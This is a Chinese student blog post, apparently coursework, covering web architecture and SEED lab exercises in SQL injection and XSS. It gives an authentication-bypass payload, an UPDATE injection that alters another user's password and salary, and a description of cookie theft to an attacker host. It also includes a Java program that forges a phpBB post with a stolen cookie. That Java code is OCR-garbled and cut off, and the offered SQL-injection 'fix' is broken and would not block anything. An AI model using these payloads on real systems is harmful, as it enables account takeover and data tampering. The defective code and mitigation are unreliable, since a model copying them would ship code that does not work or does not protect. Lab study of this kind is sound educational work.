20199313 2019-2020-2 《網絡攻防實踐》第十一週做業

20199313 2019-2020-2 《網絡攻防實踐》第十一週做業

本博客屬於課程:《網絡攻防實踐》
本次做業:《第十一週做業》
我在這個課程的目標:掌握知識與技能,加強能力和本領,提升悟性和水平。javascript

Web應用程序架構

Web應用程序是使用Internet瀏覽器執行某些功能的程序。它帶有中間件和UI,它們鏈接客戶端(用戶在瀏覽器中看到和使用的內容),服務器(操做的後端)和數據庫。雖而後端腳本保存數據,但前端會將數據傳輸給支持數據交換的消費者。php

  • Web系統又能夠分爲幾個子系統

  1)Web前端系統html

  2)負載均衡系統前端

  3)數據庫集羣系統java

  4)緩存系統mysql

  5)分佈式存儲系統nginx

  6)分佈式服務器管理系統程序員

  7)代碼分發系統web

Web前端系統

web前端就是前端網絡編程,也被認爲是用戶端編程,是爲了網頁或者網頁應用,而編寫HTML,CSS以及JS代碼,因此用戶可以看到而且和這些頁面進行交流。前端網絡編程的挑戰在於用於實現前端頁面的工具以及技術變化得很快,因此工程師須要不斷注意產業是如何發展的(例如ECMAScript 6)。設計網頁的目的在於確保用戶打開站點的時候,信息是以容易閱讀而且相互關聯的形式呈現的。隨之帶來的問題是,如今用戶實用大量的設備來訪問網頁,這些設備具備不一樣的屏幕尺寸以及清晰度。因此設計者在設計網頁的時候須要注意這些方面。他們須要確保他們的網頁在不一樣的瀏覽器、不一樣的操做系統以及不一樣的設備上顯示正確,這須要在工程師端進行仔細的計劃。sql

負載均衡系統

負載均衡創建在現有網絡結構之上,它提供了一種廉價有效透明的方法擴展網絡設備和服務器的帶寬、增長吞吐量、增強網絡數據處理能力、提升網絡的靈活性和可用性。負載均衡就是分攤到多個操做單元上進行執行,例如Web服務器、FTP服務器、企業關鍵應用服務器和其它關鍵任務服務器等,從而共同完成工做任務。
負載均衡系統分爲硬件和軟件兩種。硬件負載均衡效率高,可是價格貴,好比F5等。軟件負載均衡系統價格較低或者免費,效率較硬件負載均衡系統低,不過對於流量通常或稍大些網站來說也足夠使用,好比lvs, nginx。大多數網站都是硬件、軟件負載均衡系統並用。

數據庫集羣系統

因爲Web前端採用了負載均衡集羣結構提升了服務的有效性和擴展性,所以數據庫必須也是高可靠的,才能保證整個服務體系的高可靠性,如何構建一個高可靠的、能夠提供大規模併發處理的數據庫體系?
  咱們能夠採用如上圖所示的方案:
  1) 使用 MySQL 數據庫,考慮到Web應用的數據庫讀多寫少的特色,咱們主要對讀數據庫作了優化,提供專用的讀數據庫和寫數據庫,在應用程序中實現讀操做和寫操做分別訪問不一樣的數據庫。
  2) 使用 MySQL Replication 機制實現快速將主庫(寫庫)的數據庫複製到從庫(讀庫)。一個主庫對應多個從庫,主庫數據實時同步到從庫。
  3) 寫數據庫有多臺,每臺均可以提供多個應用共同使用,這樣能夠解決寫庫的性能瓶頸問題和單點故障問題。
  4) 讀數據庫有多臺,經過負載均衡設備實現負載均衡,從而達到讀數據庫的高性能、高可靠和高可擴展性。
  5) 數據庫服務器和應用服務器分離。
  6) 從數據庫使用BigIP作負載均衡。

緩衝系統

緩存分爲文件緩存、內存緩存、數據庫緩存。在大型Web應用中使用最多且效率最高的是內存緩存。最經常使用的內存緩存工具是Memcached。使用正確的緩存系統能夠達到實現如下目標:
  一、使用緩存系統能夠提升訪問效率,提升服務器吞吐能力,改善用戶體驗。
  二、減輕對數據庫及存儲集服務器的訪問壓力。
  三、Memcached服務器有多臺,避免單點故障,提供高可靠性和可擴展性,提升性能。

分佈式儲存系統

Web系統平臺中的存儲需求有下面兩個特色:
  1) 存儲量很大,常常會達到單臺服務器沒法提供的規模,好比相冊、視頻等應用。所以須要專業的大規模存儲系統。
  2) 負載均衡cluster中的每一個節點都有可能訪問任何一個數據對象,每一個節點對數據的處理也能被其餘節點共享,所以這些節點要操做的數據從邏輯上看只能是一個總體,不是各自獨立的數據資源。
  所以高性能的分佈式存儲系統對於大型網站應用來講是很是重要的一環。

分佈式服務器管理系統

隨着網站訪問流量的不斷增長,大多的網絡服務都是以負載均衡集羣的方式對外提供服務,隨之集羣規模的擴大,原來基於單機的服務器管理模式已經不可以知足咱們的需求,新的需求必須可以集中式的、分組的、批量的、自動化的對服務器進行管理,可以批量化的執行計劃任務。
  在分佈式服務器管理系統軟件中有一些比較優秀的軟件,其中比較理想的一個是Cfengine。它能夠對服務器進行分組,不一樣的分組能夠分別定製系統配置文件、計劃任務等配置。它是基於C/S 結構的,全部的服務器配置和管理腳本程序都保存在Cfengine Server上,而被管理的服務器運行着 Cfengine Client 程序,Cfengine Client經過SSL加密的鏈接按期的向服務器端發送請求以獲取最新的配置文件和管理命令、腳本程序、補丁安裝等任務。
  有了Cfengine這種集中式的服務器管理工具,咱們就能夠高效的實現大規模的服務器集羣管理,被管理服務器和 Cfengine Server 能夠分佈在任何位置,只要網絡能夠連通就能實現快速自動化的管理。

代碼分發系統

隨着網站訪問流量的不斷增長,大多的網絡服務都是以負載均衡集羣的方式對外提供服務,隨之集羣規模的擴大,爲了知足集羣環境下程序代碼的批量分發和更新,咱們還須要一個程序代碼發佈系統。
  這個發佈系統能夠幫咱們實現下面的目標:
  1) 生產環境的服務器以虛擬主機方式提供服務,不須要開發人員介入維護和直接操做,提供發佈系統能夠實現不須要登錄服務器就能把程序分發到目標服務器。
  2) 咱們要實現內部開發、內部測試、生產環境測試、生產環境發佈的4個開發階段的管理,發佈系統能夠介入各個階段的代碼發佈。
  3) 咱們須要實現源代碼管理和版本控制,SVN能夠實現該需求。
  這裏面可使用經常使用的工具Rsync,經過開發相應的腳本工具實現服務器集羣間代碼同步分發。

SQL注入

SQL注入:利用現有應用程序,將(惡意)的SQL命令注入到後臺數據庫引擎執行的能力,這是SQL注入的標準釋義。
隨着B/S模式被普遍的應用,用這種模式編寫應用程序的程序員也愈來愈多,但因爲開發人員的水平和經驗良莠不齊,至關一部分的開發人員在編寫代碼的時候,沒有對用戶的輸入數據或者是頁面中所攜帶的信息(如Cookie)進行必要的合法性判斷,致使了攻擊者能夠提交一段數據庫查詢代碼,根據程序返回的結果,得到一些他想獲得的數據。
SQL注入利用的是正常的HTTP服務端口,表面上看來和正常的web訪問沒有區別,隱蔽性極強,不易被發現。

SQL注入攻擊

  • SQL注入攻擊過程分爲五個步驟:

一、判斷Web環境是否能夠SQL注入。若是URL僅是對網頁的訪問,不存在SQL注入問題,就是普通的網頁訪問。只有對數據庫進行動態查詢的業務纔可能存在SQL注入,這種語句會在數據庫中執行,所以可能會給數據庫帶來威脅。
二、尋找SQL注入點。完成上一步的片段後,就要尋找可利用的注入漏洞,經過輸入一些特殊語句,能夠根據瀏覽器返回信息,判斷數據庫類型,從而構建數據庫查詢語句找到注入點。
三、猜解用戶名和密碼。數據庫中存放的表名、字段名都是有規律可言的。經過構建特殊數據庫語句在數據庫中依次查找表名、字段名、用戶名和密碼的長度,以及內容。這個猜想過程能夠經過網上大量注入工具快速實現,並藉助破解網站輕易破譯用戶密碼。
四、尋找WEB管理後臺入口。一般WEB後臺管理的界面不面向普通用戶開放,要尋找到後臺的登錄路徑,能夠利用掃描工具快速搜索到可能的登錄地址,依次進行嘗試,就能夠試出管理臺的入口地址。
五、入侵和破壞。成功登錄後臺管理後,接下來就能夠任意進行破壞行爲,如篡改網頁、上傳木馬、修改、泄漏用戶信息等,並進一步入侵數據庫服務器。

  • QL注入攻擊的特色:
    變種極多,有經驗的攻擊者會手動調整攻擊參數,導致攻擊數據的變種是不可枚舉的,這致使傳統的特徵匹配檢測方法僅能識別至關少的攻擊,難以防範。
    攻擊過程簡單,目前互聯網上流行衆多的SQL注入攻擊工具,攻擊者藉助這些工具可很快對目標WEB系統實施攻擊和破壞。
    危害大,因爲WEB編程語言自身的缺陷以及具備安全編程能力的開發人員少之又少,大多數WEB業務系統均具備被SQL注入攻擊的可能。而攻擊者一旦攻擊成功,能夠對控制整個WEB業務系統,對數據作任意的修改,破壞力達到及至。

  • SQL注入的危害和現狀
    SQL注入的主要危害包括:
    一、未經受權情況下操做數據庫中的數據
    二、惡意篡改網頁內容
    三、私自添加系統賬號或者是數據庫使用者賬號
    四、網頁掛木馬

實踐做業

登陸Sql注入

進入SeedUbantu爲咱們搭建好的web服務器登錄頁面,在前端的登陸帳號和密碼只有和後端的數據庫中的用戶表的信息匹配才能夠成功登陸。

那麼咱們須要作什麼呢?很顯然,進到數據庫裏看看本身的帳戶密碼是什麼(若是你是數據庫管理員)Or,若是你是非受權用戶,那麼你能夠嘗試一下SQL注入(攻下它)。

頁面上使用組合鍵Ctrl+u轉到源代碼,咱們先看到這個登錄頁面的源代碼,簡潔易懂的Html語言編寫成的登錄頁面,咱們的登陸信息將會以Get的方式提交至unsafe_home.php(這是一個php語言寫成的服務器,等同於java編寫的Severlet Service服務器的功能),咱們找到這個服務器的源代碼,位於:/var/www/SQLInjection/unsafe_home.php,使用vim編輯器打開就能夠看到服務器源代碼。

源代碼中針對Sql數據庫的操做語句是:SELECT id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password FROM credential WHERE name='$input_name'and Password='$hashen_pwd'
這個Sql數據庫操做語句的意思是在一個名爲credential的表中查詢表單項name爲($input_name所傳遞的參數的值,$ 符號表示這是一個變量)和Password($hashen_pwd所傳遞的參數的值),並輸出與之相匹配的表單行中的id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password這些項目的值

顯然這是一個存在漏洞的Sql操做語句,PHP代碼中的字符串類型的數據須要用單引號(')引發來。好比上面的任務中username='$username',單引號用於把$username從代碼中區分出來。不幸的是若是$username中含有單引號,這個區分將被打破。咱們須要一個機制告訴數據庫$username中的單引號應該被當作數據,而不是SQL語句的特殊字符。爲此咱們只須要在單引號前加一個反斜槓()這個代碼就能夠。依據這兩個原理,咱們就能夠完成在登陸過程當中經過在登錄表格中輸入精心準備的代碼來完成Sql注入的攻擊。

利用這一點,咱們在username中輸入admin' #,這樣這個數據庫操做指令就變成了:
SELECT id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password FROM credential WHERE name='admin' #'and Password='$hashen_pwd'
#符號後面的內容都會被看成註釋處理,所以這段Sql指令完成的操做是搜索name爲admin的表單信息,完成了不須要輸入密碼便可登陸的目的。以下圖所示,咱們已經成功黑進了系統(仍是一個有管理員權限的帳戶)

對Update功能Sql注入

這裏咱們隨便來登陸一個其餘的帳戶(模擬本身是一個普通帳戶,如何在不知道他人帳戶的前提下經過Sql注入來修改他人帳戶的過程,或者修改表單中不讓修改的內容),點擊Edit Profile進入修改我的信息功能,一樣Ctrl+u來看到頁面源代碼以下:
咱們在源代碼中能夠看到咱們輸入的信息都被提交到了unsafe_edit_backend.php這個Severlet Service中,一樣咱們找到這個源代碼文件並打開它


這裏看到了針對UPDTE的SQL語句,經過查詢修改動做的用戶在數據庫內的id(這個id)來定位用戶在表單中的位置,而後直接更新全部輸入信息(這裏做者還判斷了一下密碼項是否爲空,防止空密碼的出現)。

很顯然咱們目前並不知道咱們要查找的用戶的id在數據庫中是多少(這個id和用管理員帳戶登陸所顯示的id並不是同一個),那麼咱們要作的就是修改這個SQL語句,最簡單的作法就是不經過id查詢,個人作法是在輸入密碼那個表單中輸入以下語句 123456', salary='2333' where name='Boby';#
這裏等於修改了Boby的密碼,甚至還修改了表單中不容許修改的工資,調整爲2333(嘲笑臉),因爲咱們不知道任何一個用戶在數據庫中的id,故而這裏直接用name進行搜索,經過這樣的方法,咱們能夠作到任何Sql數據庫指令,只要咱們想。

咱們甚至能夠修改本身的任何信息,只要在剛剛的指令123456', salary='2333' where name='Boby';#中添加任何想要添加的字段,就能夠修改它。

SQL漏洞修補

這裏利用了Sql語句對單引號'的處理問題,這裏最簡單的操做就是阻止用戶輸入非法字符,

$str="<,>/?~`!@#%^&*()+|\='";      #定義你認爲是特殊字符的字符
        #falg=similar_text($input_nickname,$str);
        if(flag>0)                  #代表$name中有你定義的特殊字符
        {echo "你輸入有特殊字符";
        $conn->query($sql); 
        $conn->close();
        header("Location:unsafe_home.php");
        exit(); 
        }

能夠看到,咱們成功將攻擊者堵在這裏了,若是輸入了特殊字符將未能修改任何數據,直接返回我的信息頁面
這裏咱們僅以nickname的輸入項爲例,若是對每一次Sql語句的輸入項都進行檢查,就能夠有效防止Sql注入

另外,因爲修改了Servlet Service,這裏須要對修改內容進行從新讀取,須要在控制檯使用命令:sudo Service apache2 restart來從新加載

XSS攻擊實驗

在本次實驗中,咱們建立了一個具備XSS注入漏洞的phpBB版本。咱們但願學生能夠經過生動地實踐更深入的理解XSS的注入原理和方式,並在從此的工做中增強防護的意識和措施。

登陸帳戶:alice 密碼:seedalice

漏洞測試和Cookie獲取

登陸成功後,在edit profile中的我的簡介(brief description)中加上一段javascript語句,這段語句的意思很簡單就是彈出一個警告窗口,因爲這段代碼在brief description中,因此每次打開alice的我的簡介頁面都會彈出(很不巧我的簡介就在主頁上,因此訪問alice的主頁就會彈出)
這樣作的目的就是告訴初學者,在主頁上咱們能夠嵌入javascript代碼,這裏很容易有腳本攻擊或病毒之類的攻擊代碼。

同理,咱們也可讓訪問者顯示本機Cookie,代碼以下:


可是咱們要作的是將這段Cookie發送到攻擊機,這裏就要用一段不一樣的代碼來實現:
每當有主機訪問Alice主頁都會將其id發送到192.168.0.109:9999的攻擊機上,攻擊機能夠藉助netcat工具,對9999端口進行TCP詳細監聽,就能夠獲得以下圖所示的信息。

利用Cookie仿冒靶機

這裏須要用到LiveHTTPHeaders這個插件,若是在ubuntu下的火狐瀏覽器,默認拒絕安裝
解決方法:
在地址欄輸入about:config進入火狐的軟件攔截設置,查詢xpinstall.signatures.required,雙擊將其設置爲true,這樣就能夠成功下載安裝LiveHTTPHeaders插件了。
或者更方便的能夠直接安裝一個有簽名的插件名爲:HTTP Header Live,這個能夠直接添加,並且免費。

當咱們發blog時,捕獲了和服務器通訊的報文頭,如圖所示,會顯示咱們的用戶cookie,咱們仔細檢查甚至能夠看到咱們發出的blog都是明文傳輸的,這樣咱們就能夠仿照這個報文向服務器發帖,而且修改用戶Cookie達到冒充他人發帖的效果。

發貼的java代碼以下

import java.io.*;
     import java.net.
     public class HTTPSimpleForge (
     public static void main(String[] args) throws lOException {
     try (
     int responsecode;
     Inputstream responseln=null;
     URL url = new URL ("http://www.xsslabphpbb.com/posting.
     php・); // URL to be forged.
     URLConnection urlConn = url.openconnection();
     if (urlConn instanceof H11pURLConnection)(
     urlConn.setConnectTimeout(60000);
     urlConn.setReadTimeout(90000);
     )
     / /addReque st Property method is used to add HTTP Header Information,
     urIConn.addRequestProperty("User-Agent","Mozilla/5.0 (Xll; U; Linux
     i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty)
     Firefox/3.0.8");
     urlConn.addRequestProperty("Accept", "text/html,application/xhtml+
     xml,application/xml;q=0.9,*/*;q=0.8」);
     urlConn.addRequestProperty("Accept-Language", "en-us,en;q=0.5");
     urlConn.addRequestProperty("Accept-Encoding", "gzip,deflate");
     urlConn.addRequestProperty("Accept-Charset", "ISO-8859-1rutf-8;q=
     0.7, *;q=0.7");
     urlConn.addRequestProperty("Keep-Alive", "300");
     urlConn.addRequestProperty("Connection", "keep-alive");
     urlConn.addRequestProperty("Referer", "http://www.xsslabphpbb.
     com/post ing.php?mode=edi tpost&p=7");
     urlConn. addRequest Property(HCookie",
     -phpbb2mysql_t=a%3A32%3A%7Bi%3A7%3Bi%3A1283172181%3Bi%3A8%3Bi%3A1283172
     281%3Bi%3A9%3Bi%3A1283172408%3Bi%3A10%3Bi%3A1283172387%3Bi%3All%3Bi%3Al
     283172362%3Bi%3A12%3Bi%3A1283172356%3Bi%3A13%3Bi%3A1283172289%3Bi%3A14%
     3Bi%3A1283172351%3Bi%3A15%3Bi%3A1283172323%3Bi%3A16%3Bi%3A1283172317%3B
     i%3A17%3Bi%3A1283172260%3Bi%3A18%3Bi%3A1283172249%3Bi%3A19%3Bi%3A128317
     2238%3Bi%3A20%3Bi%3A1283172194%3Bi%3A21%3Bi%3A1283172093%3Bi%3A22%3Bi%3
     A1283172086%3Bi%3A23%3Bi%3A1283172074%3Bi%3A24%3Bi%3A1283172067%3Bi%3A2
     5%3Bi%3A1283172059%3Bi%3A26%3Bi%3A1283172081%3Bi%3A27%3Bi%3A1283172231%
     3Bi%3A28%3Bi%3A1283172244%3Bi%3A29%3Bi%3A1283172255%3Bi%3A30%3Bi%3A1283
     172308%3Bi%3A31%3Bi%3A1283172296%3Bi%3A32%3Bi%3A1283172302%3Bi%3A6%3Bi%
     3A1283172376%3Bi%3A5%3Bi%3A1283172413%3Bi%3A33%3Bi%3A1283172716%3Bi%3A3
     4%3Bi%3A1283173189%3Bi%3A35%3Bi%3A1283174324%3Bi%3A36%3Bi%3A1283226239%
     3B%7D;
     phpbb2mysql_data=a%3A2%3A%7Bs%3All%3A%22autologinid%22%3Bs%3A0%3A%22%22
     %3Bs%3A6%3A%22userid%22%3Bs%3Al%3A%226%22%3B%7D;
     Phpbb2mysql_sid=6d47ed39784d300851ba04295e406770");
     urlConn.addRequestProperty("Content-Type',"application/x- www-
     form-urlencoded");
     //HTTP Post Data which includes the information to be sent to the
     server.

相關文章
相關標籤/搜索